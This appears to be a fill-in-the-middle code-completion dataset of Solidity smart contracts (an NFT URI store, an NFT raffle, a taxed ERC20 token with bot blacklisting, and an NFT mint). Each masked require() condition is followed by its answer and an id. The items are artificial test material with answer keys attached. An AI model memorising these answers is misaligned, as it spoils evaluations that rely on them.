. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "../../common/HootBase.sol";
import "../../../utils/HootCrypto.sol";
import "../extensions/HootBaseERC721Owners.sol";
/**
* @title HootBaseERC721URIStorage
* @author HootLabs
*/
abstract contract HootBaseERC721URIStorage is
HootBase,
HootBaseERC721Owners,
HootCrypto,
IERC721,
IERC721Metadata
{
using Strings for uint256;
event BaseURIChanged(string uri);
event TokenHashSet(uint256 tokenId, bytes32 tokenHash);
string private _preURI;
// Optional mapping for token URIs
mapping(uint256 => bytes32) private _tokenHashes;
function _baseURI(
uint256 /* tokenId_*/
) internal view virtual returns (string memory) {
}
/**
* @notice set base URI
* This process is under the supervision of the community.
*/
function setBaseURI(string calldata uri_) external onlyOwner {
}
/**
* @notice setTokenHash is used to set the ipfs hash of the token
* This process is under the supervision of the community.
*/
function setTokenHash(uint256 tokenId_, bytes32 tokenHash_)
external
atLeastManager
{
}
/**
* @notice setTokenHashBatch is used to set the ipfs hash of the token
* This process is under the supervision of the community.
*/
function setTokenHashBatch(uint256[] calldata tokenIds_, bytes32[] calldata tokenHashes_)
external
atLeastManager
{
require(tokenIds_.length > 0, "no token id");
require(tokenIds_.length == tokenHashes_.length, "token id array and token hash array have different lengths");
unchecked {
for (uint256 i = 0; i < tokenIds_.length; i++) {
uint256 tokenId = tokenIds_[i];
require(<FILL_ME>)
_tokenHashes[tokenId] = tokenHashes_[i];
emit TokenHashSet(tokenId, tokenHashes_[i]);
}
}
}
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
}
function unsafeTokenURIBatch(uint256[] calldata tokenIds_)
public
view
virtual
returns (string[] memory)
{
}
}
|
this.exists(tokenId),"token is not exist"
| 142,175 |
this.exists(tokenId)
|
"Awaiting random selection."
|
pragma solidity ^0.8.0;
contract LemonadeStand is ERC721Enumerable, VRFConsumerBase, ReentrancyGuard, UniRouterData{
using SafeERC20 for IERC20;
uint256 tokenIds;
// 0, eth to winner, 1 token for losers, 2 tokenId of start, 3 number of raffle tickets
mapping(uint256 => uint256[4]) public raffleData;
mapping(uint256 => uint256) public winningToken;
mapping(uint256 => uint256) public tokenToGameIndex;
uint256 public raffleIndex;
uint256 public constant hardCap = 125 ether;
uint256 public nextPoolsPot;
uint256 public constant timer = 30 days;
uint256[] public endTimes;
bool public drawing;
// ChainLink Variables
bytes32 private keyHash;
uint256 private fee;
mapping(bytes32=> uint256) requestIdToGameIndex;
bytes32 currentRequestId;
/// @notice Event emitted when randomNumber arrived.
event requestMade(bytes32 indexed requestId, uint256 NumberOfTickets);
event Winner(address indexed winner, uint256 indexed ticket);
event ClaimedToken(address indexed user, uint256 amount, string indexed token);
/**
* Constructor inherits VRFConsumerBase
*
* Network: ETH
* Chainlink VRF Coordinator address: 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952
* LINK token address: 0x514910771AF9Ca656af840dff83E8264EcF986CA
* Key Hash: 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445
* Fee : 2 LINK (2000000000000000000 in wei)
*/
constructor (
) UniRouterData(address(0x3D3D35bb9bEC23b06Ca00fe472b50E7A4c692C30), address(0xe4684AFE69bA238E3de17bbd0B1a64Ce7077da42), address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D))
VRFConsumerBase(0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, 0x514910771AF9Ca656af840dff83E8264EcF986CA)
ERC721("LemonadeStand", "Lemon") {
}
modifier playable() {
require(<FILL_ME>)
_;
}
/**
* @dev Public function to mint lemons.
* @dev Anyone can mint as many lemons as they want. Lemons cost 0.1 eth each.
* @dev Must not have hit hard cap of 125 eth.
* @return tokenId
*/
function mintLemon(uint8 buyAmount) external payable nonReentrant playable returns (uint256[] memory) {
}
function canRoll() public view returns (bool) {
}
function _rollDice() internal returns (bytes32) {
}
function rollDice() external playable nonReentrant returns (bytes32) {
}
/**
* @dev Callback function used by VRF Coordinator. This function sets new random number with unique request Id.
* @param _requestId Request Id of randomness.
* @param _randomness Random Number
*/
function fulfillRandomness(bytes32 _requestId, uint256 _randomness) internal override {
}
function finalize(address winner, uint256 ticketNumber) internal {
}
function unlocked(uint256 tokenId) public view returns (bool) {
}
function _transfer(address from, address to, uint256 tokenId) internal override(ERC721) {
}
/**
* @dev Override function of the standard ERC721 implementation. This function returns the same JSON URI for all existing tokens.
* @param tokenId The token Id requested.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function rewardAmount(uint256 tokenId) public view returns (uint256, bool) {
}
function claimPrize(uint256 tokenId) external nonReentrant returns(uint256) {
}
}
|
!drawing,"Awaiting random selection."
| 142,253 |
!drawing
|
"Lemons have sold out."
|
pragma solidity ^0.8.0;
contract LemonadeStand is ERC721Enumerable, VRFConsumerBase, ReentrancyGuard, UniRouterData{
using SafeERC20 for IERC20;
uint256 tokenIds;
// 0, eth to winner, 1 token for losers, 2 tokenId of start, 3 number of raffle tickets
mapping(uint256 => uint256[4]) public raffleData;
mapping(uint256 => uint256) public winningToken;
mapping(uint256 => uint256) public tokenToGameIndex;
uint256 public raffleIndex;
uint256 public constant hardCap = 125 ether;
uint256 public nextPoolsPot;
uint256 public constant timer = 30 days;
uint256[] public endTimes;
bool public drawing;
// ChainLink Variables
bytes32 private keyHash;
uint256 private fee;
mapping(bytes32=> uint256) requestIdToGameIndex;
bytes32 currentRequestId;
/// @notice Event emitted when randomNumber arrived.
event requestMade(bytes32 indexed requestId, uint256 NumberOfTickets);
event Winner(address indexed winner, uint256 indexed ticket);
event ClaimedToken(address indexed user, uint256 amount, string indexed token);
/**
* Constructor inherits VRFConsumerBase
*
* Network: ETH
* Chainlink VRF Coordinator address: 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952
* LINK token address: 0x514910771AF9Ca656af840dff83E8264EcF986CA
* Key Hash: 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445
* Fee : 2 LINK (2000000000000000000 in wei)
*/
constructor (
) UniRouterData(address(0x3D3D35bb9bEC23b06Ca00fe472b50E7A4c692C30), address(0xe4684AFE69bA238E3de17bbd0B1a64Ce7077da42), address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D))
VRFConsumerBase(0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, 0x514910771AF9Ca656af840dff83E8264EcF986CA)
ERC721("LemonadeStand", "Lemon") {
}
modifier playable() {
}
/**
* @dev Public function to mint lemons.
* @dev Anyone can mint as many lemons as they want. Lemons cost 0.1 eth each.
* @dev Must not have hit hard cap of 125 eth.
* @return tokenId
*/
function mintLemon(uint8 buyAmount) external payable nonReentrant playable returns (uint256[] memory) {
require(buyAmount > 0 && buyAmount < 11, "You can buy between 1-10 Lemons at a time.");
// Allows tickets to be bought for the next game while awaiting for current game to finish
require(msg.value == buyAmount * 0.1 ether, "Lemons go for 0.1 ETH each.");
require(<FILL_ME>)
uint value = msg.value / 20;
raffleData[raffleIndex][0] += (value * 10); // 50% to current raffle
tokenToGameIndex[tokenIds] = raffleIndex;
uint256 amount = _buytoken(value * 9);// 40% to buy a token for losers with 5% going to a seperate address
raffleData[raffleIndex][1] += amount;
nextPoolsPot += value; // 5% to next raffle
uint256[] memory ret = new uint256[](buyAmount);
for(uint8 i = 0; i < buyAmount; i++) {
_mint(msg.sender, tokenIds);
raffleData[raffleIndex][3]++;
tokenToGameIndex[tokenIds] = raffleIndex;
ret[i] = tokenIds;
tokenIds++;
}
if(canRoll()) {_rollDice();}
return ret;
}
function canRoll() public view returns (bool) {
}
function _rollDice() internal returns (bytes32) {
}
function rollDice() external playable nonReentrant returns (bytes32) {
}
/**
* @dev Callback function used by VRF Coordinator. This function sets new random number with unique request Id.
* @param _requestId Request Id of randomness.
* @param _randomness Random Number
*/
function fulfillRandomness(bytes32 _requestId, uint256 _randomness) internal override {
}
function finalize(address winner, uint256 ticketNumber) internal {
}
function unlocked(uint256 tokenId) public view returns (bool) {
}
function _transfer(address from, address to, uint256 tokenId) internal override(ERC721) {
}
/**
* @dev Override function of the standard ERC721 implementation. This function returns the same JSON URI for all existing tokens.
* @param tokenId The token Id requested.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function rewardAmount(uint256 tokenId) public view returns (uint256, bool) {
}
function claimPrize(uint256 tokenId) external nonReentrant returns(uint256) {
}
}
|
raffleData[raffleIndex][0]<hardCap,"Lemons have sold out."
| 142,253 |
raffleData[raffleIndex][0]<hardCap
|
"Request Id is not correct."
|
pragma solidity ^0.8.0;
contract LemonadeStand is ERC721Enumerable, VRFConsumerBase, ReentrancyGuard, UniRouterData{
using SafeERC20 for IERC20;
uint256 tokenIds;
// 0, eth to winner, 1 token for losers, 2 tokenId of start, 3 number of raffle tickets
mapping(uint256 => uint256[4]) public raffleData;
mapping(uint256 => uint256) public winningToken;
mapping(uint256 => uint256) public tokenToGameIndex;
uint256 public raffleIndex;
uint256 public constant hardCap = 125 ether;
uint256 public nextPoolsPot;
uint256 public constant timer = 30 days;
uint256[] public endTimes;
bool public drawing;
// ChainLink Variables
bytes32 private keyHash;
uint256 private fee;
mapping(bytes32=> uint256) requestIdToGameIndex;
bytes32 currentRequestId;
/// @notice Event emitted when randomNumber arrived.
event requestMade(bytes32 indexed requestId, uint256 NumberOfTickets);
event Winner(address indexed winner, uint256 indexed ticket);
event ClaimedToken(address indexed user, uint256 amount, string indexed token);
/**
* Constructor inherits VRFConsumerBase
*
* Network: ETH
* Chainlink VRF Coordinator address: 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952
* LINK token address: 0x514910771AF9Ca656af840dff83E8264EcF986CA
* Key Hash: 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445
* Fee : 2 LINK (2000000000000000000 in wei)
*/
constructor (
) UniRouterData(address(0x3D3D35bb9bEC23b06Ca00fe472b50E7A4c692C30), address(0xe4684AFE69bA238E3de17bbd0B1a64Ce7077da42), address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D))
VRFConsumerBase(0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, 0x514910771AF9Ca656af840dff83E8264EcF986CA)
ERC721("LemonadeStand", "Lemon") {
}
modifier playable() {
}
/**
* @dev Public function to mint lemons.
* @dev Anyone can mint as many lemons as they want. Lemons cost 0.1 eth each.
* @dev Must not have hit hard cap of 125 eth.
* @return tokenId
*/
function mintLemon(uint8 buyAmount) external payable nonReentrant playable returns (uint256[] memory) {
}
function canRoll() public view returns (bool) {
}
function _rollDice() internal returns (bytes32) {
}
function rollDice() external playable nonReentrant returns (bytes32) {
}
/**
* @dev Callback function used by VRF Coordinator. This function sets new random number with unique request Id.
* @param _requestId Request Id of randomness.
* @param _randomness Random Number
*/
function fulfillRandomness(bytes32 _requestId, uint256 _randomness) internal override {
require(<FILL_ME>)
uint256 winningTicket = 1 + raffleData[raffleIndex][2] + ( _randomness % raffleData[raffleIndex][3]);
winningToken[raffleIndex] = winningTicket;
finalize(ownerOf(winningTicket), winningTicket);
}
function finalize(address winner, uint256 ticketNumber) internal {
}
function unlocked(uint256 tokenId) public view returns (bool) {
}
function _transfer(address from, address to, uint256 tokenId) internal override(ERC721) {
}
/**
* @dev Override function of the standard ERC721 implementation. This function returns the same JSON URI for all existing tokens.
* @param tokenId The token Id requested.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function rewardAmount(uint256 tokenId) public view returns (uint256, bool) {
}
function claimPrize(uint256 tokenId) external nonReentrant returns(uint256) {
}
}
|
requestIdToGameIndex[_requestId]==raffleIndex,"Request Id is not correct."
| 142,253 |
requestIdToGameIndex[_requestId]==raffleIndex
|
"Lemon is Locked!"
|
pragma solidity ^0.8.0;
contract LemonadeStand is ERC721Enumerable, VRFConsumerBase, ReentrancyGuard, UniRouterData{
using SafeERC20 for IERC20;
uint256 tokenIds;
// 0, eth to winner, 1 token for losers, 2 tokenId of start, 3 number of raffle tickets
mapping(uint256 => uint256[4]) public raffleData;
mapping(uint256 => uint256) public winningToken;
mapping(uint256 => uint256) public tokenToGameIndex;
uint256 public raffleIndex;
uint256 public constant hardCap = 125 ether;
uint256 public nextPoolsPot;
uint256 public constant timer = 30 days;
uint256[] public endTimes;
bool public drawing;
// ChainLink Variables
bytes32 private keyHash;
uint256 private fee;
mapping(bytes32=> uint256) requestIdToGameIndex;
bytes32 currentRequestId;
/// @notice Event emitted when randomNumber arrived.
event requestMade(bytes32 indexed requestId, uint256 NumberOfTickets);
event Winner(address indexed winner, uint256 indexed ticket);
event ClaimedToken(address indexed user, uint256 amount, string indexed token);
/**
* Constructor inherits VRFConsumerBase
*
* Network: ETH
* Chainlink VRF Coordinator address: 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952
* LINK token address: 0x514910771AF9Ca656af840dff83E8264EcF986CA
* Key Hash: 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445
* Fee : 2 LINK (2000000000000000000 in wei)
*/
constructor (
) UniRouterData(address(0x3D3D35bb9bEC23b06Ca00fe472b50E7A4c692C30), address(0xe4684AFE69bA238E3de17bbd0B1a64Ce7077da42), address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D))
VRFConsumerBase(0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, 0x514910771AF9Ca656af840dff83E8264EcF986CA)
ERC721("LemonadeStand", "Lemon") {
}
modifier playable() {
}
/**
* @dev Public function to mint lemons.
* @dev Anyone can mint as many lemons as they want. Lemons cost 0.1 eth each.
* @dev Must not have hit hard cap of 125 eth.
* @return tokenId
*/
function mintLemon(uint8 buyAmount) external payable nonReentrant playable returns (uint256[] memory) {
}
function canRoll() public view returns (bool) {
}
function _rollDice() internal returns (bytes32) {
}
function rollDice() external playable nonReentrant returns (bytes32) {
}
/**
* @dev Callback function used by VRF Coordinator. This function sets new random number with unique request Id.
* @param _requestId Request Id of randomness.
* @param _randomness Random Number
*/
function fulfillRandomness(bytes32 _requestId, uint256 _randomness) internal override {
}
function finalize(address winner, uint256 ticketNumber) internal {
}
function unlocked(uint256 tokenId) public view returns (bool) {
}
function _transfer(address from, address to, uint256 tokenId) internal override(ERC721) {
require(<FILL_ME>)
super._transfer(from, to, tokenId);
}
/**
* @dev Override function of the standard ERC721 implementation. This function returns the same JSON URI for all existing tokens.
* @param tokenId The token Id requested.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function rewardAmount(uint256 tokenId) public view returns (uint256, bool) {
}
function claimPrize(uint256 tokenId) external nonReentrant returns(uint256) {
}
}
|
unlocked(tokenId),"Lemon is Locked!"
| 142,253 |
unlocked(tokenId)
|
null |
//gamershiba.com
//Speedo our gamer Shib: gaming - gambling - mental degen health
pragma solidity ^0.8.17;
contract GamerShiba is ERC20, Ownable {
modifier admin(){
}
modifier liquidityAdd {
}
modifier reentrant {
require(<FILL_ME>)
_inTransfer = true;
_;
_inTransfer = false;
}
uint public _taxLimit = 20;
uint public _buyTax = 5;
uint public _sellTax = 10;
uint private _passcode;
uint256 public _maxHoldings = 20000000 * 1e18;
uint256 public _feeTokens;
uint256 private _tradingStart;
uint256 public _tradingStartBlock;
uint256 public _totalSupply;
address public _pairAddress;
address public _adminWallet;
address payable public _marketingWallet;
address payable public _prizesWallet;
address constant public _burnAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 internal _router = IUniswapV2Router02(address(0));
bool public tradingOpen;
bool internal _inSwap = false;
bool internal _inTransfer = false;
bool internal _inLiquidityAdd = false;
mapping(address => bool) private _rewardExclude;
mapping(address => bool) private _bot;
mapping(address => bool) private _preTrade;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) private _tradeBlock;
mapping(address => uint256) private _balances;
constructor(address payable prizesAddr, address payable marketingAddr) ERC20("Gamer-Shiba", "GAMES"){
}
function addLiquidity() public payable onlyOwner() liquidityAdd {
}
function accidentalEthSweep(uint passcode) public payable admin(){
}
function circulatingSupply() public view returns (uint256) {
}
//taxes
function isTaxExcluded(address account) public view returns (bool) {
}
function _addTaxExcluded(address account) internal {
}
function addExcluded(address account) public admin() {
}
function addExcludedArray(address[] calldata accounts) public admin() {
}
//bot accounts on uniswap trading from router
function isBot(address account) public view returns (bool) {
}
function _addBot(address account) internal {
}
function removeBot(address account, uint passcode) public admin() {
}
//token balances
function _addBalance(address account, uint256 amount) internal {
}
function _subtractBalance(address account, uint256 amount) internal {
}
//------------------------------------------------------------------
//Transfer overwrites erc-20 method.
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
//liquidate fee tokens on each sell tx
function _liquidateFee(uint256 amountSwap) internal {
}
function _paymentETH(address receiver, uint256 amount) internal {
}
function _getTax(uint256 amount, uint taxRate)internal view returns (uint256 send, uint256 tax){
}
function _takeSellTax(address account, uint256 totalFees) internal {
}
function _takeBuyTax(address sender, uint256 totalFees) internal {
}
//setters
function setAdmin(address payable _wallet, uint passcode) external onlyOwner(){
}
function setPrizes(address payable _wallet, uint passcode) external admin(){
}
function setMarketing(address payable _wallet, uint passcode) external admin(){
}
function setMaxHoldings(uint maxHoldingRate, uint passcode) external admin() {
}
function setTaxCap(uint rate, uint passcode) external admin() {
}
function setBuyTax(uint rate, uint passcode) external admin() {
}
function setSellTax(uint rate, uint passcode) external admin() {
}
function start() external onlyOwner() {
}
function addPreTrader(address[] calldata accounts) public onlyOwner {
}
function removePreTrader(address[] calldata accounts) public onlyOwner {
}
// modified from OpenZeppelin ERC20
function _rawTransfer(
address sender,
address recipient,
uint256 amount
) internal {
}
function balanceOf(address account) public view virtual override returns (uint256){
}
function totalSupply() public view override returns (uint256) {
}
function _mint(address account, uint256 amount) internal override {
}
receive() external payable {}
}
|
!_inTransfer
| 142,256 |
!_inTransfer
|
null |
//gamershiba.com
//Speedo our gamer Shib: gaming - gambling - mental degen health
pragma solidity ^0.8.17;
contract GamerShiba is ERC20, Ownable {
modifier admin(){
}
modifier liquidityAdd {
}
modifier reentrant {
}
uint public _taxLimit = 20;
uint public _buyTax = 5;
uint public _sellTax = 10;
uint private _passcode;
uint256 public _maxHoldings = 20000000 * 1e18;
uint256 public _feeTokens;
uint256 private _tradingStart;
uint256 public _tradingStartBlock;
uint256 public _totalSupply;
address public _pairAddress;
address public _adminWallet;
address payable public _marketingWallet;
address payable public _prizesWallet;
address constant public _burnAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 internal _router = IUniswapV2Router02(address(0));
bool public tradingOpen;
bool internal _inSwap = false;
bool internal _inTransfer = false;
bool internal _inLiquidityAdd = false;
mapping(address => bool) private _rewardExclude;
mapping(address => bool) private _bot;
mapping(address => bool) private _preTrade;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) private _tradeBlock;
mapping(address => uint256) private _balances;
constructor(address payable prizesAddr, address payable marketingAddr) ERC20("Gamer-Shiba", "GAMES"){
}
function addLiquidity() public payable onlyOwner() liquidityAdd {
}
function accidentalEthSweep(uint passcode) public payable admin(){
}
function circulatingSupply() public view returns (uint256) {
}
//taxes
function isTaxExcluded(address account) public view returns (bool) {
}
function _addTaxExcluded(address account) internal {
}
function addExcluded(address account) public admin() {
}
function addExcludedArray(address[] calldata accounts) public admin() {
}
//bot accounts on uniswap trading from router
function isBot(address account) public view returns (bool) {
}
function _addBot(address account) internal {
}
function removeBot(address account, uint passcode) public admin() {
}
//token balances
function _addBalance(address account, uint256 amount) internal {
}
function _subtractBalance(address account, uint256 amount) internal {
}
//------------------------------------------------------------------
//Transfer overwrites erc-20 method.
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (isTaxExcluded(sender) || isTaxExcluded(recipient)) {
_rawTransfer(sender, recipient, amount);
return;
}
//catch
if(recipient == _pairAddress && _tradeBlock[sender] == block.number){
_addBot(sender);
}
//checks
require(_tradingStartBlock != 0 && block.number >= _tradingStartBlock);
require(<FILL_ME>)
require(amount <= _maxHoldings);
if (_feeTokens > 0 && recipient == _pairAddress) {
_liquidateFee(_feeTokens);
}
uint256 send = amount; uint256 selltaxtokens; uint256 buytaxtokens;
// Buy
if (sender == _pairAddress) {
(send,buytaxtokens) = _getTax(amount, _buyTax);
}
// Sell
if (recipient == _pairAddress) {
(send,selltaxtokens) = _getTax(amount, _sellTax);
}
//track on buy
if(sender == _pairAddress){
_tradeBlock[recipient] = block.number;
}
//take sell taxrevenue
if(selltaxtokens>0){
_takeSellTax(sender, selltaxtokens);
}
//take buy tax
if(buytaxtokens>0){
_takeBuyTax(sender, buytaxtokens);
}
//transfer
_rawTransfer(sender, recipient, send);
}
//liquidate fee tokens on each sell tx
function _liquidateFee(uint256 amountSwap) internal {
}
function _paymentETH(address receiver, uint256 amount) internal {
}
function _getTax(uint256 amount, uint taxRate)internal view returns (uint256 send, uint256 tax){
}
function _takeSellTax(address account, uint256 totalFees) internal {
}
function _takeBuyTax(address sender, uint256 totalFees) internal {
}
//setters
function setAdmin(address payable _wallet, uint passcode) external onlyOwner(){
}
function setPrizes(address payable _wallet, uint passcode) external admin(){
}
function setMarketing(address payable _wallet, uint passcode) external admin(){
}
function setMaxHoldings(uint maxHoldingRate, uint passcode) external admin() {
}
function setTaxCap(uint rate, uint passcode) external admin() {
}
function setBuyTax(uint rate, uint passcode) external admin() {
}
function setSellTax(uint rate, uint passcode) external admin() {
}
function start() external onlyOwner() {
}
function addPreTrader(address[] calldata accounts) public onlyOwner {
}
function removePreTrader(address[] calldata accounts) public onlyOwner {
}
// modified from OpenZeppelin ERC20
function _rawTransfer(
address sender,
address recipient,
uint256 amount
) internal {
}
function balanceOf(address account) public view virtual override returns (uint256){
}
function totalSupply() public view override returns (uint256) {
}
function _mint(address account, uint256 amount) internal override {
}
receive() external payable {}
}
|
!isBot(sender)&&!isBot(recipient)
| 142,256 |
!isBot(sender)&&!isBot(recipient)
|
"Invalid signature"
|
// SPDX-License-Identifier: MIT
/*
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
*/
pragma solidity ^0.8.13;
import "./layerzero/ONFT721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract WomenHackersClub is Ownable, ONFT721 {
using Counters for Counters.Counter;
Counters.Counter private nextMintId;
string public baseTokenURI;
uint256 public maxMintId;
uint256 price = 82000000000000000; // 0.082 ether
uint256 mintpassprice = 64000000000000000; // 0.064 ether
uint256 allowlistprice = 76000000000000000; // 0.076 ether
uint256 public walletLimit = 100;
uint256 public perTxLimit = 3;
bool public saleIsActive = false;
bool public PresaleIsActive = false;
mapping(address => uint256) public addressMintedBalance;
address private a1 = 0xd6B20f7AB159Faf338093d51e1Eb78DEdB2a00B2;
address public signingAddress = 0x1048Ded3a542e064C82161Ab8840152393E0477E;
constructor(address _layerZeroEndpoint, uint startMintId, uint endMintId) ONFT721("Women Women Hackers Club", "WHC", _layerZeroEndpoint) {
}
function allowlistMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
require(PresaleIsActive, "Presale not active");
require(msg.value >= allowlistprice * mintCount, "Not enought eth");
require(<FILL_ME>)
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + mintCount <= mint_allowed, "Individual mint limit exceeded!");
mint(msg.sender,mintCount);
}
function mintpassMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function claim(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function publicMint(uint256 mintCount) external payable {
}
function mintOwner(address addr, uint256 mintCount) external onlyOwner {
}
function mint(address addr, uint256 mintCount) private {
}
function setMaxMintId(uint256 _maxMintId) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setMintpassPrice(uint256 _mintpassprice) external onlyOwner {
}
function setAllowlistPrice(uint256 _allowlistprice) external onlyOwner {
}
function setPerTxLimit(uint256 _perTxLimit) external onlyOwner {
}
function setWalletLimit(uint256 _perWalletLimit) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function totalSupply() external view returns (uint256) {
}
function getCurrentId() external view returns (uint256) {
}
function toggleSale() public onlyOwner {
}
function togglePresale() public onlyOwner {
}
function setSigningAddress(address _signingAddress) external onlyOwner {
}
function withdraw() external onlyOwner {
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
}
function verifySignature(uint8 v, bytes32 r,bytes32 s,uint256 amountAllowed,uint256 free) public view returns (bool) {
}
}
|
verifySignature(v,r,s,mint_allowed,free),"Invalid signature"
| 142,271 |
verifySignature(v,r,s,mint_allowed,free)
|
"Individual mint limit exceeded!"
|
// SPDX-License-Identifier: MIT
/*
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
βββββ ββββ βββββ βββ ββββ γ ββββ ββββ βββ βββ βββ ββββ βββ γ βββ βββ ββββ ββββ
*/
pragma solidity ^0.8.13;
import "./layerzero/ONFT721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract WomenHackersClub is Ownable, ONFT721 {
using Counters for Counters.Counter;
Counters.Counter private nextMintId;
string public baseTokenURI;
uint256 public maxMintId;
uint256 price = 82000000000000000; // 0.082 ether
uint256 mintpassprice = 64000000000000000; // 0.064 ether
uint256 allowlistprice = 76000000000000000; // 0.076 ether
uint256 public walletLimit = 100;
uint256 public perTxLimit = 3;
bool public saleIsActive = false;
bool public PresaleIsActive = false;
mapping(address => uint256) public addressMintedBalance;
address private a1 = 0xd6B20f7AB159Faf338093d51e1Eb78DEdB2a00B2;
address public signingAddress = 0x1048Ded3a542e064C82161Ab8840152393E0477E;
constructor(address _layerZeroEndpoint, uint startMintId, uint endMintId) ONFT721("Women Women Hackers Club", "WHC", _layerZeroEndpoint) {
}
function allowlistMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
require(PresaleIsActive, "Presale not active");
require(msg.value >= allowlistprice * mintCount, "Not enought eth");
require(verifySignature(v,r,s,mint_allowed,free), "Invalid signature");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(<FILL_ME>)
mint(msg.sender,mintCount);
}
function mintpassMint(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function claim(uint256 mintCount,uint8 v, bytes32 r,bytes32 s,uint256 mint_allowed,uint256 free) external payable {
}
function publicMint(uint256 mintCount) external payable {
}
function mintOwner(address addr, uint256 mintCount) external onlyOwner {
}
function mint(address addr, uint256 mintCount) private {
}
function setMaxMintId(uint256 _maxMintId) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setMintpassPrice(uint256 _mintpassprice) external onlyOwner {
}
